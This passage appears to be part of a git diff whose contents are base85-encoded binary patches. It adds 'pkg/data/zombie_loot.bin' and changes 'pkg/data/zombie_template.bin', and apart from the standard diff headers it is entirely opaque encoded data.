z&E8F_5`I-lUKM$LEVsPyF>-0Bn5!nlg3I()v(Hlr?kB&Ww++GeEBp6>zTeUX|9TvX zZ(MI7)5UTX;N+$!ZgB4!$3;zF6)znaHx|F~QCT~fwwO#rm?c=ck0v*x#g3}Qjg|5}`JYr5 zxi`GpL2_ZJ>U5kqy2)wKZFipR7@Zp4ohuxmM*vZy4H^oWB5U5p<7u{(%hC;M$8NwW z_Kb0dn2dox9sx)CYuGdrm_IoQ`5 z7icQX{_*hiTtk9%xrRnXIHPp@BYiiSzYT6sjlJeCyQW5>kNd;ZbLEeB6oejC9#IsL z9pd>*;)pIEd|xm4fh5!QCR;{pp#pu53pX5m?DJ=+OvzxsG0f|-qy$f5kUDJ_+#hfK z{_!mi@4J7m{5$!Lmm3`+TzC8=%1vFHCUnL*g*Lz0@i-M9%cPBt-<&g=-{?xyj`b<- zte@hZJBK*)8$ScWT|W)_-TimdZ)Chbb+7rwA`Dz6G<*N&mLKrmQIIN$Z8QUZ`ewO?6N~ z@TGN@ZbrZhWSOM@0Um}Jj5NvgKQ4A<}k*B)%$ z$3`?=2R<5*nADJ3bO^Lp+T!>}0+Bu>52-`q#M84+?F&GbP@L|V!)f#CFflktAMOx6 z!Lvi;d9}+DxEo6v)>TCcn6fI*Mb$cQiu1@^Q=6u`VoR*sX96mLc~=Q7Sz4m1YLn!& zyT3oZ|I;t3JmlH^00G(ESl4(YoZ3S*fa^=!z;IV%Tl zq|x_mIK#c`(UiN<$}^13Ga8xG$Pd|u`##8FC0&cW6rtgYz7{<0DFe%s=l0%Ccz@+d ztsrVQR7JiVy7b#MMCou5Ed{=)C&AFTc=qk;YFys{I$A1ZK8AyFuB+;FYAIm`=)9NK zSAu71Q-gZ!M#c=5Qqw-MNwSy1vE~mQ=j1xgd1UhAVLEoSj-9QW^ORejEIy9chQJ;IO{%>RSm_XA5TQ3N zG@#u@L!*zv&@e9KkL@yA0I$Y|LDEZKk@ZSWP`dxo0c{f>pVB&H9L1}M@lki7UC{A~ zh5CH;XRU`Ob#62M8jUuFzGUP#E;TMi=*P|iFC)??%c~cAu3DO*wmP9@;-SeP`SU=r zhC`Dl;Wv9Uuex)mn-}pyu-)VS>A8R~VYGsHsW`{5|B?FZ*k7rkQD&Z!mu*>K^N+jz z({t|gpx22W0MukavIn~QyEZI${aitQ;RUF})jE!3uSi_K?ZwbW{MaVXID>I_Ant>{ zkjl^2+mAY5Oz|l3-%^H|GPJ zmhOJ~oZwj4lfiC-Fbsz8eTv?C+8$u1y-AgV3#i0qu_;1T-+dwuX;O%`6N!KSpJOLn zWjK!v?(1+oejKkd_^+vLhki9plSYtmwlwl#aST(P8`iYb<8kQ?-k#6Xy06Gu!o{)# z?aV)YQqd8KUw9!Yu8FbGOOB4eYjIwSO$bFQn|&wSOXBkf>R6l+a&Pl#Mqu&z5xSwd zdiV!z$tp7jVrd-Y4Xwe1lH{eZY)~O5LxkaOC&BIBZE3MZj8%N-yB*C0-DgF%a3_Qf zm5D09ZhhGnh6;7Z2`Ft+wPOEXE>L;KYVUYn2yz5#a2IsXF!zwAP2N++cH&gs`2D?v zXxSyuBgn=UdkA_NK+aS>B!CVD92$KWJoEY$uxoOp>0YnQplLuKcGVhe;7oY#kj3|ok9+t900960XM~*2 literal 328 zcmV-O0k{5)lR=JyFbqZam3oKnx|%t_tmYE^*S#?L0S_| zF{|p4|Jt~=AriN;Tgf?`IaG`sA@)g8ek;mq76W|J@^RMJIBXBsuoxv|R&%R*U~!qi zUNcSEea4)Od!UY3Dg$o~&T4{+tO+q4pLeC4dF+|taGk$SUv%0J)vWki_iBLVyCA)J zV}up$a-Ac38`JmZw4rP`#wA_5-JOwG!zPRSTeBnZy`0BAQrKg5`nDelDRUiE z+Ry&>~1C8hY}UJqj6Bv=CDo6fmg#1LBdFg@9fHf$0Q)sR~sE{)Z@Pg%w-~ aFAcJ&cJoQrB3-5rEAO5Cc=!hZ0RR8f44r!b diff --git a/pkg/data/zombie_loot.bin b/pkg/data/zombie_loot.bin new file mode 100644 index 0000000000000000000000000000000000000000..97a93a75d66ee7d5912e8f722d0d354a6b646a85 GIT binary patch literal 887 zcmV--1Bm>rR&R6SwiAATpF(qUzX|>YCDlqeK27CLFUr9uX4Kbn6dJTa!>mz1%B9Wg(mE_LMIC0 z?-f{&XKro2jQD&Vwk&|*UpeNLy~+v>+pWtDxVizC0_KzgA14V_>LwV{sZlhMROe$n zG-~J|_5bL-AKTYkH1W>jptPbqK74N%RGvEv@cXJKskkRFk(5xb8BPntZ`cqJW@`eC z^~ha0SkacV@9Z%Rqp7+}%~&YimsBkWcc~c(-WQ~|c%wrlAB?1gDI+9KQfky)s;GRR z((#Xvqd$;(d+@`L@$9@j-=US@oFp#$XfBt+a&`XVOCTpP3s3CA(ATfY_}sy*!`&JjOJ{6>pO_d z+_QOv$mF+pSI1#wTfb=x7^jMY*5!ZbIt$u;_ENWkj!J>=okkUS8XGUFz>^pe;|7QX zh&Zo7jeF*05pGn2_1Jibm}*pU<5#lQJ#^&O&R;{~>`WooRC1g`HZDkG>j?#|&X&4N z#pCl7a;hJN9G2Iq_moOH{j}=TH!z;LmGT@NZE^q8SEvO5Bdn7FU41pjA4OK$_OU~? zv5a*M|9sR1+I{-<8eEGZ0(~>a{avHzFgUM85UDtD0ynC{dW^`dzT*ZM4+N($;os?;9UD^I zH@Dvf8SlP!cL42k(frW5vOE3S4S{JkfVs4TFP-L9xBC&8&W8?gg3j00FX43)w42|o zDC*+#mqyzOGKPbHdFm3u39}cr4=^VileQnlY>l zo<4j>I1r$;zFARBEJ`2%f*|lgvR*^ZLn@_iO^N%FB3R0>$Ebd=1G9CyWYYEku)rlT;Wg$Gw05)1EfeAr_R; z9v(PS8ZG{zm|6S4_$$W{g`>v+DZ4iaevFSM*uCNdv|DkOoLgDn#N|rG=#Mt~MCORj z{lZQ;b6SM4u%$md1@>T;0Dc(T=Z)lrQ8pItbs9njDy zZRUpm=O&tgW0i_t5@?Dy;Os9&U(J+=|gwC{!#i!Y~A00@rJsNi11`yp)k2u9u3Yl@olz5Cnh3!=WKb$SF56Ll zfs4Qn8i_5T^;w+c`B*C#G~}26f(Aw#R#Q%8pXpMEoLM>P`|C#ql>-H zoR6=uBOh+Sl3W;Q#=*hi*}0YcVMj*-ra(s{(LC&a#v(TFQECApyO+NQ)H@R)xXjv^ zSK1RF^G0}@O)!6N1{+A3yRj4Wgp3db5%3+)Ods>GWZ^db#3^cZBunYp9SA}pKD_XH zZWbyONm1oc09bHcEG#Mpq#CTHM=7vLMq5X)mP7GIH9PW2N@rg~t~{4EVbE|c--tWd zR#*3sSkC8|dQQic%tDReQqCU@LP{YhUrLC#U~uMVu26rA<{oG9V2(8xVG($-qsFhI zPCLHi=Q@0>qAwsI6KpCL>8f16)j z`}5L{Yyhk3A|sg-Fb2!U3+y|>YJx5&9VqTpo#8wdMAJ=;m${Q^HY-fxuYAd?lhdIUe5SM zAM$@S7bp;c>Eo+Z2&wtn@O8(ZBLwjBc@poySD}M^e#O^Xa+1UgCGRc4Tml>?DnaV! z^R?t_CGfU<6-w=-B88w$+BqM)3mn>`gTB3Dao+9x=j;3@ng2XsANR~x?&l``ha?#< zoj%5W5mt&Oddt6ydE~3x>H~f9>CGq#@XHj>m-u6p_ z^E#T>(Y%i4bu_P|nHgQpr8Ld_W!lWOS!lD=W~I$qn}&a6v|LBa!)Qr+Ji7L6_@{q! z&|YT6NfQn<%|Lt%B#c0^2qcO?k_g09K&%ABKwzZ+7P=DF+7dq1m#|=5Snw?@*cKLC z3k#+N`eq<$2VyHA5r?1!z%m^yGyyE+9TpM~R_4J?5^C-;AFPx8UaK3M4oEB|0M09YLWRttdD17I})SX}^C z8-UdZU^N0*od8xVfYl3NH3L}P01J-zgctNCn*Yq+JI)>`iTNBA(PY$n6{C zi&^kGA37O26FLn#2RZ>teI>opU5Ty~S8^+@mC#CMC9%?1iK~=VvMNoLph^`@C8g3) TiKrA*@+s|A>&zv)vn#zmPc~7 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 G0RR76lyaZ| literal 0 HcmV?d00001 diff --git a/pkg/data/zombie_template.bin b/pkg/data/zombie_template.bin index d4bf28e96d352c96723ae5cd37ef6355609bf1f5..f566e438e37d78fe61dfe0c46ef56d3f6eb13028 100644 GIT binary patch delta 4932 zcmV-K6T9r8DUB&z>|IN98##Wz`%_>$v1rY(`H~-FdKs@Q*)y{B8dDy7W;9`;yFn6C zH_!&qqGYX(IZjm$Ii+$+<(gZnlG?+5n%$}7TciN=ldtY3Dauo`yH#T~8bIUm`@jDH zO_5+Mf48{uQ9FDeR@Ox$%ABx{{4>>f+ZOl&9efLRDB;vanJ=0)B@Pytk~V-u_u#`T zm%^kAA961HOuB@Qhe`MpaKs4o(6qMeM7lu zgX?Sg@6AnExE+WgW%v`+V|)QQw!!ta1vz^BfAB%{aquOmv@77tc&wYM1MIW`RMYo9 znl2rvVPVpzdQ?#L-3GoR5cE`$nn}{eL46pw!i>6AbvU{}42!Ea7~;WD6$v=tsb(G| zaDbS4^@(~GPW5^3mf9fnw1)_6s}8`f?f~qE z9i$O#Gc2$T-870-t1NbPQF-J}1tUQN7AR?<4Fn5Nj1eZ(BrCzkmMoU;gwTzx@2~zx>;uG7zw+13ydgs)TF%I+UpsBDK|MG*%*3o2{*fj~*{6 zSL+weMI`Ec>9`7cXhQ#2`5#ht|h~NenB{eZ`A(2n<|CWtK(^+Xu7mr=jSC*)vSvE z6`%X~+zwJu-IYztKs4Ee2%@^=mLaOuHH$h|1zF&3U|AGw#{gOmw2V>_KMVrI#Z1i3 zsJe*M%vuo3NX|6F+(%>}hHap=4lbx~LSgnX4$x-<8co{{AlK8x>_=bmSx|mCeK!)}+vr(!19L zoz8^L=x{fj^<{cBS_R=9Pi+~0QJ$>NS&#b+lR=LoJCGaRvxmq&zcu@#ya_Rl5;OZ- zj4maC#LWsY;8&Dwaj`?2PSt0$k2t3cT0?kMm1gm|J%o-kgsO>yxXrMy5&L!Y4G?}q z?+36Mau5+1x*UuUL%_k@rWc4Ir_*ra3^qG`Sqfy&`4Y)weqMmh2 z8gOZOP%)rVYI<5HZcn(Lda{RXIYWJh_%PdKIYIIWU!eWp^-)}4XdU{=S5J*%A|2X#@aUW}0PJ`DC zGpHDD*}bs%jw6zPM{ic;>srD+y4T%4-m7;*jaYfScIIluN8OXv8Gn%!*K%3`1)pDF zNg1XMJ;dNlZ}~*Ua>$6AXTcGb_H?J?yd!`kgaNiZ`>y%Nw&QeHCIj`nnyve-t^2Kq z`3m1mP0sS{xc%~ z@5wpIwXH*c->(a~KD9I6FK8T%6XisQXKVI=ob{&rK+bxFy&y|3N}faU%%Yr|>NELT z@9q#^L4x>j_k2?I%_W#vDb~h;?4EhL#t3rYAc1U=)rj-^%;?I>l_GnY&tBA=t8&g6 z7Nd$6U@jTAWy-0j*-aHxDz6XrJl{ngB0`P6GRt3oIjv@8s%vqLEF)|6rMw?`2I4%q 